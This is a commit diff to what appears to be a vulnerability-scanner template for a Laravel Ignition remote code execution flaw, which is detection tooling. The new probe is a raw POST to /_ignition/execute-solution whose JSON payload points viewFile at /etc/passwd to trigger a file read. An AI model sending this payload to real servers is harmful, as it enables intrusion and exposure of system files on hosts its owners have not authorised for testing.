improved matcher

patch-1
sandeep 2021-02-27 23:54:39 +05:30
parent 705b0d05f3
commit 6cb87158a7
1 changed files with 12 additions and 9 deletions

View File

@ -9,16 +9,19 @@ info:
tags: cve,cve2021,laravel,rce
requests:
- method: GET
path:
- "{{BaseURL}}/_ignition/execute-solution"
- raw:
- |
POST /_ignition/execute-solution HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: deflate
Accept: application/json
Connection: close
Content-Length: 144
Content-Type: application/json
{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "/etc/passwd"}}
matchers-condition: and
matchers:
- type: status
status:
- 405
- type: word
words:
- "laravel"
negative: true
- "failed to open stream: Permission denied"